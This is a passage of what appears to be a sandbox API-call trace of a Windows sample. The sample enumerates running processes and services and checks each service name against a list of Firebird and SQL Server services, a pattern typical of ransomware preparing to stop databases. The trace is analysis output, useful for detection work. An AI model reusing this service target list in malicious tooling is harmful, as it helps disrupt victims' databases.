cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0299.627] lstrlenW (lpString="1csrss.exe") returned 10 [0299.627] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.628] lstrlenW (lpString="svchost.exe") returned 11 [0299.628] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0299.628] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0299.628] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.629] lstrlenW (lpString="svchost.exe") returned 11 [0299.629] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0299.630] lstrlenW (lpString="consent.exe") returned 11 [0299.630] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0299.630] CloseHandle (hObject=0x52c) returned 1 [0299.630] Sleep (dwMilliseconds=0x1f4) [0300.178] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0300.178] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0300.178] GetLastError () returned 0xea [0300.178] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45dee78 [0300.179] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45dee78, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45dee78, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0300.180] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0300.180] lstrlenW (lpString="Appinfo") returned 7 [0300.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0300.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0300.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0300.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0300.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0300.180] lstrlenW (lpString="AppXSvc") returned 7 [0300.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0300.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0300.180] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0300.180] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0300.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0300.180] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0300.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.180] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0300.180] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0300.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0300.180] lstrlenW (lpString="Audiosrv") returned 8 [0300.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0300.181] lstrlenW (lpString="BFE") returned 3 [0300.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0300.181] lstrlenW (lpString="BITS") returned 4 [0300.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0300.181] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0300.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0300.181] lstrlenW (lpString="CDPSvc") returned 6 [0300.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0300.181] lstrlenW (lpString="ClickToRunSvc") returned 13 [0300.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0300.181] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0300.181] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0300.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0300.182] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0300.182] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0300.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0300.182] lstrlenW (lpString="CryptSvc") returned 8 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0300.182] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0300.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0300.182] lstrlenW (lpString="DcomLaunch") returned 10 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0300.182] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0300.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0300.182] lstrlenW (lpString="DeviceAssociationService") returned 24 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0300.182] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0300.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0300.182] lstrlenW (lpString="Dhcp") returned 4 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0300.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0300.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0300.182] lstrlenW (lpString="Dnscache") returned 8 [0300.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0300.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0300.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0300.183] lstrlenW (lpString="DoSvc") returned 5 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0300.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0300.183] lstrlenW (lpString="DPS") returned 3 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0300.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0300.183] lstrlenW (lpString="DusmSvc") returned 7 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0300.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0300.183] lstrlenW (lpString="EventLog") returned 8 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0300.183] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0300.183] lstrlenW (lpString="EventSystem") returned 11 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0300.183] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0300.183] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0300.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0300.183] lstrlenW (lpString="FontCache") returned 9 [0300.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0300.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0300.184] lstrlenW (lpString="gpsvc") returned 5 [0300.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0300.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0300.184] lstrlenW (lpString="iphlpsvc") returned 8 [0300.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0300.184] lstrlenW (lpString="KeyIso") returned 6 [0300.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0300.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0300.184] lstrlenW (lpString="LanmanServer") returned 12 [0300.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0300.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0300.184] lstrlenW (lpString="LanmanWorkstation") returned 17 [0300.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0300.184] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0300.184] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0300.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0300.184] lstrlenW (lpString="lfsvc") returned 5 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0300.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0300.185] lstrlenW (lpString="lmhosts") returned 7 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0300.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0300.185] lstrlenW (lpString="LSM") returned 3 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0300.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0300.185] lstrlenW (lpString="MapsBroker") returned 10 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0300.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0300.185] lstrlenW (lpString="MpsSvc") returned 6 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0300.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0300.185] lstrlenW (lpString="NcbService") returned 10 [0300.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0300.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0300.185] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0300.185] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0300.186] lstrlenW (lpString="netprofm") returned 8 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0300.186] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0300.186] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0300.186] lstrlenW (lpString="NgcSvc") returned 6 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0300.186] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0300.186] lstrlenW (lpString="NlaSvc") returned 6 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0300.186] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0300.186] lstrlenW (lpString="nsi") returned 3 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0300.186] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0300.186] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0300.186] lstrlenW (lpString="PcaSvc") returned 6 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0300.186] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0300.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0300.186] lstrlenW (lpString="PlugPlay") returned 8 [0300.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0300.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0300.187] lstrlenW (lpString="Power") returned 5 [0300.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0300.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0300.187] lstrlenW (lpString="ProfSvc") returned 7 [0300.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0300.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0300.187] lstrlenW (lpString="RpcEptMapper") returned 12 [0300.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0300.187] lstrlenW (lpString="RpcSs") returned 5 [0300.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0300.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0300.187] lstrlenW (lpString="SamSs") returned 5 [0300.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0300.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0300.187] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0300.187] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0300.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0300.187] lstrlenW (lpString="Schedule") returned 8 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0300.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0300.188] lstrlenW (lpString="SecurityHealthService") returned 21 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0300.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0300.188] lstrlenW (lpString="SENS") returned 4 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0300.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0300.188] lstrlenW (lpString="ShellHWDetection") returned 16 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0300.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0300.188] lstrlenW (lpString="Spooler") returned 7 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0300.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0300.188] lstrlenW (lpString="SSDPSRV") returned 7 [0300.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.188] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0300.188] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0300.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0300.189] 